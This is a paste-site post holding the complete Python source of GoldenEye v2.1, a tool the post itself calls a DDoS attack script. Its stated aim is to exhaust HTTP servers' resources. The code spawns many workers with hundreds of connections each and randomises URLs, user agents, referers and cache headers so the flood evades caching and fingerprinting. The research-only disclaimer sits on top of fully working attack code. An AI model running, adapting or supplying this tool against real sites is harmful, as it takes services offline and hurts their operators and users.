Golden eye DDOS attack script


SUBMITTED BY: A7laco

DATE: Jan. 10, 2016, 8:24 a.m.

FORMAT: Text only

SIZE: 19.9 kB

HITS: 1308

  1. #!/usr/bin/env python
  2. """
  3. $Id: $
  4. /$$$$$$ /$$ /$$ /$$$$$$$$
  5. /$$__ $$ | $$ | $$ | $$_____/
  6. | $$ \__/ /$$$$$$ | $$ /$$$$$$$ /$$$$$$ /$$$$$$$ | $$ /$$ /$$ /$$$$$$
  7. | $$ /$$$$ /$$__ $$| $$ /$$__ $$ /$$__ $$| $$__ $$| $$$$$ | $$ | $$ /$$__ $$
  8. | $$|_ $$| $$ \ $$| $$| $$ | $$| $$$$$$$$| $$ \ $$| $$__/ | $$ | $$| $$$$$$$$
  9. | $$ \ $$| $$ | $$| $$| $$ | $$| $$_____/| $$ | $$| $$ | $$ | $$| $$_____/
  10. | $$$$$$/| $$$$$$/| $$| $$$$$$$| $$$$$$$| $$ | $$| $$$$$$$$| $$$$$$$| $$$$$$$
  11. \______/ \______/ |__/ \_______/ \_______/|__/ |__/|________/ \____ $$ \_______/
  12. /$$ | $$
  13. | $$$$$$/
  14. \______/
  15. This tool is a dos tool that is meant to put heavy load on HTTP servers
  16. in order to bring them to their knees by exhausting the resource pool.
  17. This tool is meant for research purposes only
  18. and any malicious usage of this tool is prohibited.
  19. @author Jan Seidl <http://wroot.org/>
  20. @date 2014-02-18
  21. @version 2.1
  22. @TODO Test in python 3.x
  23. LICENSE:
  24. This software is distributed under the GNU General Public License version 3 (GPLv3)
  25. LEGAL NOTICE:
  26. THIS SOFTWARE IS PROVIDED FOR EDUCATIONAL USE ONLY!
  27. IF YOU ENGAGE IN ANY ILLEGAL ACTIVITY
  28. THE AUTHOR DOES NOT TAKE ANY RESPONSIBILITY FOR IT.
  29. BY USING THIS SOFTWARE YOU AGREE WITH THESE TERMS.
  30. """
  31. from multiprocessing import Process, Manager, Pool
  32. import urlparse, ssl
  33. import sys, getopt, random, time, os
  34. # Python version-specific
  35. if sys.version_info < (3,0):
  36. # Python 2.x
  37. import httplib
  38. HTTPCLIENT = httplib
  39. else:
  40. # Python 3.x
  41. import http.client
  42. HTTPCLIENT = http.client
  43. ####
  44. # Config
  45. ####
  46. DEBUG = False
  47. ####
  48. # Constants
  49. ####
  50. METHOD_GET = 'get'
  51. METHOD_POST = 'post'
  52. METHOD_RAND = 'random'
  53. JOIN_TIMEOUT=1.0
  54. DEFAULT_WORKERS=10
  55. DEFAULT_SOCKETS=500
  56. GOLDENEYE_BANNER = 'GoldenEye v2.1 by Jan Seidl <jseidl@wroot.org>'
  57. USER_AGENT_PARTS = {
  58. 'os': {
  59. 'linux': {
  60. 'name': [ 'Linux x86_64', 'Linux i386' ],
  61. 'ext': [ 'X11' ]
  62. },
  63. 'windows': {
  64. 'name': [ 'Windows NT 6.1', 'Windows NT 6.3', 'Windows NT 5.1', 'Windows NT.6.2' ],
  65. 'ext': [ 'WOW64', 'Win64; x64' ]
  66. },
  67. 'mac': {
  68. 'name': [ 'Macintosh' ],
  69. 'ext': [ 'Intel Mac OS X %d_%d_%d' % (random.randint(10, 11), random.randint(0, 9), random.randint(0, 5)) for i in range(1, 10) ]
  70. },
  71. },
  72. 'platform': {
  73. 'webkit': {
  74. 'name': [ 'AppleWebKit/%d.%d' % (random.randint(535, 537), random.randint(1,36)) for i in range(1, 30) ],
  75. 'details': [ 'KHTML, like Gecko' ],
  76. 'extensions': [ 'Chrome/%d.0.%d.%d Safari/%d.%d' % (random.randint(6, 32), random.randint(100, 2000), random.randint(0, 100), random.randint(535, 537), random.randint(1, 36)) for i in range(1, 30) ] + [ 'Version/%d.%d.%d Safari/%d.%d' % (random.randint(4, 6), random.randint(0, 1), random.randint(0, 9), random.randint(535, 537), random.randint(1, 36)) for i in range(1, 10) ]
  77. },
  78. 'iexplorer': {
  79. 'browser_info': {
  80. 'name': [ 'MSIE 6.0', 'MSIE 6.1', 'MSIE 7.0', 'MSIE 7.0b', 'MSIE 8.0', 'MSIE 9.0', 'MSIE 10.0' ],
  81. 'ext_pre': [ 'compatible', 'Windows; U' ],
  82. 'ext_post': [ 'Trident/%d.0' % i for i in range(4, 6) ] + [ '.NET CLR %d.%d.%d' % (random.randint(1, 3), random.randint(0, 5), random.randint(1000, 30000)) for i in range(1, 10) ]
  83. }
  84. },
  85. 'gecko': {
  86. 'name': [ 'Gecko/%d%02d%02d Firefox/%d.0' % (random.randint(2001, 2010), random.randint(1,31), random.randint(1,12) , random.randint(10, 25)) for i in range(1, 30) ],
  87. 'details': [],
  88. 'extensions': []
  89. }
  90. }
  91. }
  92. ####
  93. # GoldenEye Class
  94. ####
  95. class GoldenEye(object):
  96. # Counters
  97. counter = [0, 0]
  98. last_counter = [0, 0]
  99. # Containers
  100. workersQueue = []
  101. manager = None
  102. useragents = []
  103. # Properties
  104. url = None
  105. # Options
  106. nr_workers = DEFAULT_WORKERS
  107. nr_sockets = DEFAULT_SOCKETS
  108. method = METHOD_GET
  109. def __init__(self, url):
  110. # Set URL
  111. self.url = url
  112. # Initialize Manager
  113. self.manager = Manager()
  114. # Initialize Counters
  115. self.counter = self.manager.list((0, 0))
  116. def exit(self):
  117. self.stats()
  118. print "Shutting down GoldenEye"
  119. def __del__(self):
  120. self.exit()
  121. def printHeader(self):
  122. # Taunt!
  123. print
  124. print GOLDENEYE_BANNER
  125. print
  126. # Do the fun!
  127. def fire(self):
  128. self.printHeader()
  129. print "Hitting webserver in mode '{0}' with {1} workers running {2} connections each. Hit CTRL+C to cancel.".format(self.method, self.nr_workers, self.nr_sockets)
  130. if DEBUG:
  131. print "Starting {0} concurrent workers".format(self.nr_workers)
  132. # Start workers
  133. for i in range(int(self.nr_workers)):
  134. try:
  135. worker = Striker(self.url, self.nr_sockets, self.counter)
  136. worker.useragents = self.useragents
  137. worker.method = self.method
  138. self.workersQueue.append(worker)
  139. worker.start()
  140. except (Exception):
  141. error("Failed to start worker {0}".format(i))
  142. pass
  143. if DEBUG:
  144. print "Initiating monitor"
  145. self.monitor()
  146. def stats(self):
  147. try:
  148. if self.counter[0] > 0 or self.counter[1] > 0:
  149. print "{0} GoldenEye strikes deferred. ({1} Failed)".format(self.counter[0], self.counter[1])
  150. if self.counter[0] > 0 and self.counter[1] > 0 and self.last_counter[0] == self.counter[0] and self.counter[1] > self.last_counter[1]:
  151. print "\tServer may be DOWN!"
  152. self.last_counter[0] = self.counter[0]
  153. self.last_counter[1] = self.counter[1]
  154. except (Exception):
  155. pass # silently ignore
  156. def monitor(self):
  157. while len(self.workersQueue) > 0:
  158. try:
  159. for worker in self.workersQueue:
  160. if worker is not None and worker.is_alive():
  161. worker.join(JOIN_TIMEOUT)
  162. else:
  163. self.workersQueue.remove(worker)
  164. self.stats()
  165. except (KeyboardInterrupt, SystemExit):
  166. print "CTRL+C received. Killing all workers"
  167. for worker in self.workersQueue:
  168. try:
  169. if DEBUG:
  170. print "Killing worker {0}".format(worker.name)
  171. #worker.terminate()
  172. worker.stop()
  173. except Exception, ex:
  174. pass # silently ignore
  175. if DEBUG:
  176. raise
  177. else:
  178. pass
  179. ####
  180. # Striker Class
  181. ####
  182. class Striker(Process):
  183. # Counters
  184. request_count = 0
  185. failed_count = 0
  186. # Containers
  187. url = None
  188. host = None
  189. port = 80
  190. ssl = False
  191. referers = []
  192. useragents = []
  193. socks = []
  194. counter = None
  195. nr_socks = DEFAULT_SOCKETS
  196. # Flags
  197. runnable = True
  198. # Options
  199. method = METHOD_GET
  200. def __init__(self, url, nr_sockets, counter):
  201. super(Striker, self).__init__()
  202. self.counter = counter
  203. self.nr_socks = nr_sockets
  204. parsedUrl = urlparse.urlparse(url)
  205. if parsedUrl.scheme == 'https':
  206. self.ssl = True
  207. self.host = parsedUrl.netloc.split(':')[0]
  208. self.url = parsedUrl.path
  209. self.port = parsedUrl.port
  210. if not self.port:
  211. self.port = 80 if not self.ssl else 443
  212. self.referers = [
  213. 'http://www.google.com/',
  214. 'http://www.bing.com/',
  215. 'http://www.baidu.com/',
  216. 'http://www.yandex.com/',
  217. 'http://' + self.host + '/'
  218. ]
  219. def __del__(self):
  220. self.stop()
  221. #builds random ascii string
  222. def buildblock(self, size):
  223. out_str = ''
  224. _LOWERCASE = range(97, 122)
  225. _UPPERCASE = range(65, 90)
  226. _NUMERIC = range(48, 57)
  227. validChars = _LOWERCASE + _UPPERCASE + _NUMERIC
  228. for i in range(0, size):
  229. a = random.choice(validChars)
  230. out_str += chr(a)
  231. return out_str
  232. def run(self):
  233. if DEBUG:
  234. print "Starting worker {0}".format(self.name)
  235. while self.runnable:
  236. try:
  237. for i in range(self.nr_socks):
  238. if self.ssl:
  239. c = HTTPCLIENT.HTTPSConnection(self.host, self.port)
  240. else:
  241. c = HTTPCLIENT.HTTPConnection(self.host, self.port)
  242. self.socks.append(c)
  243. for conn_req in self.socks:
  244. (url, headers) = self.createPayload()
  245. method = random.choice([METHOD_GET, METHOD_POST]) if self.method == METHOD_RAND else self.method
  246. conn_req.request(method.upper(), url, None, headers)
  247. for conn_resp in self.socks:
  248. resp = conn_resp.getresponse()
  249. self.incCounter()
  250. self.closeConnections()
  251. except:
  252. self.incFailed()
  253. if DEBUG:
  254. raise
  255. else:
  256. pass # silently ignore
  257. if DEBUG:
  258. print "Worker {0} completed run. Sleeping...".format(self.name)
  259. def closeConnections(self):
  260. for conn in self.socks:
  261. try:
  262. conn.close()
  263. except:
  264. pass # silently ignore
  265. def createPayload(self):
  266. req_url, headers = self.generateData()
  267. random_keys = headers.keys()
  268. random.shuffle(random_keys)
  269. random_headers = {}
  270. for header_name in random_keys:
  271. random_headers[header_name] = headers[header_name]
  272. return (req_url, random_headers)
  273. def generateQueryString(self, ammount = 1):
  274. queryString = []
  275. for i in range(ammount):
  276. key = self.buildblock(random.randint(3,10))
  277. value = self.buildblock(random.randint(3,20))
  278. element = "{0}={1}".format(key, value)
  279. queryString.append(element)
  280. return '&'.join(queryString)
  281. def generateData(self):
  282. returnCode = 0
  283. param_joiner = "?"
  284. if len(self.url) == 0:
  285. self.url = '/'
  286. if self.url.count("?") > 0:
  287. param_joiner = "&"
  288. request_url = self.generateRequestUrl(param_joiner)
  289. http_headers = self.generateRandomHeaders()
  290. return (request_url, http_headers)
  291. def generateRequestUrl(self, param_joiner = '?'):
  292. return self.url + param_joiner + self.generateQueryString(random.randint(1,5))
  293. def getUserAgent(self):
  294. if self.useragents:
  295. return random.choice(self.useragents)
  296. # Mozilla/[version] ([system and browser information]) [platform] ([platform details]) [extensions]
  297. ## Mozilla Version
  298. mozilla_version = "Mozilla/5.0" # hardcoded for now, almost every browser is on this version except IE6
  299. ## System And Browser Information
  300. # Choose random OS
  301. os = USER_AGENT_PARTS['os'][random.choice(USER_AGENT_PARTS['os'].keys())]
  302. os_name = random.choice(os['name'])
  303. sysinfo = os_name
  304. # Choose random platform
  305. platform = USER_AGENT_PARTS['platform'][random.choice(USER_AGENT_PARTS['platform'].keys())]
  306. # Get Browser Information if available
  307. if 'browser_info' in platform and platform['browser_info']:
  308. browser = platform['browser_info']
  309. browser_string = random.choice(browser['name'])
  310. if 'ext_pre' in browser:
  311. browser_string = "%s; %s" % (random.choice(browser['ext_pre']), browser_string)
  312. sysinfo = "%s; %s" % (browser_string, sysinfo)
  313. if 'ext_post' in browser:
  314. sysinfo = "%s; %s" % (sysinfo, random.choice(browser['ext_post']))
  315. if 'ext' in os and os['ext']:
  316. sysinfo = "%s; %s" % (sysinfo, random.choice(os['ext']))
  317. ua_string = "%s (%s)" % (mozilla_version, sysinfo)
  318. if 'name' in platform and platform['name']:
  319. ua_string = "%s %s" % (ua_string, random.choice(platform['name']))
  320. if 'details' in platform and platform['details']:
  321. ua_string = "%s (%s)" % (ua_string, random.choice(platform['details']) if len(platform['details']) > 1 else platform['details'][0] )
  322. if 'extensions' in platform and platform['extensions']:
  323. ua_string = "%s %s" % (ua_string, random.choice(platform['extensions']))
  324. return ua_string
  325. def generateRandomHeaders(self):
  326. # Random no-cache entries
  327. noCacheDirectives = ['no-cache', 'max-age=0']
  328. random.shuffle(noCacheDirectives)
  329. nrNoCache = random.randint(1, (len(noCacheDirectives)-1))
  330. noCache = ', '.join(noCacheDirectives[:nrNoCache])
  331. # Random accept encoding
  332. acceptEncoding = ['\'\'','*','identity','gzip','deflate']
  333. random.shuffle(acceptEncoding)
  334. nrEncodings = random.randint(1,len(acceptEncoding)/2)
  335. roundEncodings = acceptEncoding[:nrEncodings]
  336. http_headers = {
  337. 'User-Agent': self.getUserAgent(),
  338. 'Cache-Control': noCache,
  339. 'Accept-Encoding': ', '.join(roundEncodings),
  340. 'Connection': 'keep-alive',
  341. 'Keep-Alive': random.randint(1,1000),
  342. 'Host': self.host,
  343. }
  344. # Randomly-added headers
  345. # These headers are optional and are
  346. # randomly sent thus making the
  347. # header count random and unfingerprintable
  348. if random.randrange(2) == 0:
  349. # Random accept-charset
  350. acceptCharset = [ 'ISO-8859-1', 'utf-8', 'Windows-1251', 'ISO-8859-2', 'ISO-8859-15', ]
  351. random.shuffle(acceptCharset)
  352. http_headers['Accept-Charset'] = '{0},{1};q={2},*;q={3}'.format(acceptCharset[0], acceptCharset[1],round(random.random(), 1), round(random.random(), 1))
  353. if random.randrange(2) == 0:
  354. # Random Referer
  355. url_part = self.buildblock(random.randint(5,10))
  356. random_referer = random.choice(self.referers) + url_part
  357. if random.randrange(2) == 0:
  358. random_referer = random_referer + '?' + self.generateQueryString(random.randint(1, 10))
  359. http_headers['Referer'] = random_referer
  360. if random.randrange(2) == 0:
  361. # Random Content-Trype
  362. http_headers['Content-Type'] = random.choice(['multipart/form-data', 'application/x-url-encoded'])
  363. if random.randrange(2) == 0:
  364. # Random Cookie
  365. http_headers['Cookie'] = self.generateQueryString(random.randint(1, 5))
  366. return http_headers
  367. # Housekeeping
  368. def stop(self):
  369. self.runnable = False
  370. self.closeConnections()
  371. self.terminate()
  372. # Counter Functions
  373. def incCounter(self):
  374. try:
  375. self.counter[0] += 1
  376. except (Exception):
  377. pass
  378. def incFailed(self):
  379. try:
  380. self.counter[1] += 1
  381. except (Exception):
  382. pass
  383. ####
  384. ####
  385. # Other Functions
  386. ####
  387. def usage():
  388. print
  389. print '-----------------------------------------------------------------------------------------------------------'
  390. print
  391. print GOLDENEYE_BANNER
  392. print
  393. print ' USAGE: ./goldeneye.py <url> [OPTIONS]'
  394. print
  395. print ' OPTIONS:'
  396. print '\t Flag\t\t\tDescription\t\t\t\t\t\tDefault'
  397. print '\t -u, --useragents\tFile with user-agents to use\t\t\t\t(default: randomly generated)'
  398. print '\t -w, --workers\t\tNumber of concurrent workers\t\t\t\t(default: {0})'.format(DEFAULT_WORKERS)
  399. print '\t -s, --sockets\t\tNumber of concurrent sockets\t\t\t\t(default: {0})'.format(DEFAULT_SOCKETS)
  400. print '\t -m, --method\t\tHTTP Method to use \'get\' or \'post\' or \'random\'\t\t(default: get)'
  401. print '\t -d, --debug\t\tEnable Debug Mode [more verbose output]\t\t\t(default: False)'
  402. print '\t -h, --help\t\tShows this help'
  403. print
  404. print '-----------------------------------------------------------------------------------------------------------'
  405. def error(msg):
  406. # print help information and exit:
  407. sys.stderr.write(str(msg+"\n"))
  408. usage()
  409. sys.exit(2)
  410. ####
  411. # Main
  412. ####
  413. def main():
  414. try:
  415. if len(sys.argv) < 2:
  416. error('Please supply at least the URL')
  417. url = sys.argv[1]
  418. if url == '-h':
  419. usage()
  420. sys.exit()
  421. if url[0:4].lower() != 'http':
  422. error("Invalid URL supplied")
  423. if url == None:
  424. error("No URL supplied")
  425. opts, args = getopt.getopt(sys.argv[2:], "dhw:s:m:u:", ["debug", "help", "workers", "sockets", "method", "useragents" ])
  426. workers = DEFAULT_WORKERS
  427. socks = DEFAULT_SOCKETS
  428. method = METHOD_GET
  429. uas_file = None
  430. useragents = []
  431. for o, a in opts:
  432. if o in ("-h", "--help"):
  433. usage()
  434. sys.exit()
  435. elif o in ("-u", "--useragents"):
  436. uas_file = a
  437. elif o in ("-s", "--sockets"):
  438. socks = int(a)
  439. elif o in ("-w", "--workers"):
  440. workers = int(a)
  441. elif o in ("-d", "--debug"):
  442. global DEBUG
  443. DEBUG = True
  444. elif o in ("-m", "--method"):
  445. if a in (METHOD_GET, METHOD_POST, METHOD_RAND):
  446. method = a
  447. else:
  448. error("method {0} is invalid".format(a))
  449. else:
  450. error("option '"+o+"' doesn't exists")
  451. if uas_file:
  452. try:
  453. with open(uas_file) as f:
  454. useragents = f.readlines()
  455. except EnvironmentError:
  456. error("cannot read file {0}".format(uas_file))
  457. goldeneye = GoldenEye(url)
  458. goldeneye.useragents = useragents
  459. goldeneye.nr_workers = workers
  460. goldeneye.method = method
  461. goldeneye.nr_sockets = socks
  462. goldeneye.fire()
  463. except getopt.GetoptError, err:
  464. # print help information and exit:
  465. sys.stderr.write(str(err))
  466. usage()
  467. sys.exit(2)
  468. if __name__ == "__main__":
  469. main()

comments powered by Disqus